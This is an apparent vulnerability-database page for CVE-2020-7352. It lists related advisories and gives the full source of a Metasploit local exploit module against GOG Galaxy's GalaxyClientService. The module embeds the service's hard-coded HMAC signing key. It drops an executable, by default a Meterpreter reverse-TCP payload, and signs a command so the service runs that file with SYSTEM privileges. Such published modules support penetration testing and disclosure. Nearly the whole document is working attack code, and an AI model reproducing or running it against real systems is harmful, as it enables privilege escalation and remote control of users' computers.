| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| GOG GalaxyClientService Privilege Escalation Exploit | 15 Jun 202000:00 | – | zdt | |
| Exploit for Use of Hard-coded Credentials in Gog Galaxy | 16 Feb 202417:14 | – | githubexploit | |
| CVE-2020-7352 | 15 Jun 202014:42 | – | circl | |
| GOG Galaxy Privilege Permission and Access Control Issues Vulnerability (CNVD-2021-25692) | 17 Jun 202000:00 | – | cnvd | |
| CVE-2020-7352 | 6 Aug 202015:45 | – | cve | |
| CVE-2020-7352 GOG Galaxy GalaxyClientService Privilege Escalation | 6 Aug 202015:45 | – | cvelist | |
| GOG GalaxyClientService Privilege Escalation | 18 May 202021:09 | – | metasploit | |
| CVE-2020-7352 | 6 Aug 202016:15 | – | nvd | |
| CVE-2020-7352 | 6 Aug 202016:15 | – | osv | |
| Design/Logic Flaw | 6 Aug 202016:15 | – | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/services'
require 'openssl'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GOG GalaxyClientService Privilege Escalation',
'Description' => %q{
This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed
with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are
also likely affected).
},
'License' => MSF_LICENSE,
'Author' => [
'Joe Testa <jtesta[at]positronsecurity.com>'
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[
'Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },
'Type' => :dropper
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 28 2020',
'References' =>
[
['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],
['CVE', '2020-7352']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
}
)
)
register_options(
[
OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),
OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\'])
]
)
end
def check
log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log')
service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe')
return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)
return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)
log_data = read_file(log_path)
unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data
return CheckCode::Detected('Unable to determine version from log file')
end
return CheckCode::Detected('Galaxy Client version not found') unless ver_no
version = Gem::Version.new(ver_no)
return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')
CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")
end
def exploit
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'
# The HMAC-SHA512 key for signing file_paths.
key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f"
key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb"
key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c"
key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4"
key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd"
key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d"
# Start the GalaxyClientService. It will automatically terminate after ~10
# seconds of inactivity, so we don't need to bother shutting it down later.
print_status('Starting GalaxyClientService...')
ret = service_start('GalaxyClientService')
if ret == 0
print_status('Service started successfully.')
elsif (ret == 1056) || (ret == 1)
print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.')
else
print_status("Service status unknown (return code: #{ret}). Continuing anyway...")
end
print_status('Connecting to service...')
# Create a TCP socket.
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
s = handler['return']
# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
# This only affects the recv(), not connect().
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)
# Set the socket address structure to localhost:9978.
sock_addr = "\x02\x00"
sock_addr << [9978].pack('n')
sock_addr << Rex::Socket.addr_aton('127.0.0.1')
sock_addr << "\x00" * 8
# Connect to the service. Retry up to 3 times, waiting 2 seconds in
# between.
connected = false
retries = 0
while (retries < 3) && (connected == false)
retries += 1
handler = client.railgun.ws2_32.connect(s, sock_addr, 16)
if handler['GetLastError'] == 0
connected = true
else
print_warning('Connection failed. Waiting 2 seconds and trying again...')
Rex.sleep(2)
end
end
fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected
data = build_payload(key)
print_status('Connected to service. Sending payload...')
# Here, we are calling client.railgun.ws2_32.send(). However, there's a bug
# somewhere in the railgun system such that send() is never called. It
# seems that some mystery code is intercepting send() instead of letting it
# get to LibraryWrapper.method_missing() (perhaps 'send' is a special case
# somewhere? The other ws2_32 functions work just fine...). To work around
# this problem, we will simply call it directly with call_function().
send_func = client.railgun.ws2_32.functions['send']
client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)
# Read the server's response. On error, it returns nothing.
response = "\x00" * 512
handler = client.railgun.ws2_32.recv(s, response, response.length, 0)
# Convert the unsigned return value to a signed value.
ret = [handler['return'].to_i].pack('l').unpack1('l')
if ret <= 0
print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(")
else
print_good('Command executed successfully!')
end
client.railgun.ws2_32.closesocket(s)
end
def build_payload(key)
working_dir = datastore['WORKING_DIR']
header1 = "\x00\x93\x08\x04\x10\x01\x18"
header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01"
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"
file_path = expand_path("#{datastore['PATH']}\\#{payload_name}")
payload_data = generate_payload_exe
print_status("Writing #{file_path} to target")
write_file(file_path, payload_data)
register_file_for_cleanup(file_path)
gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12"
gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01"
payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)
header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation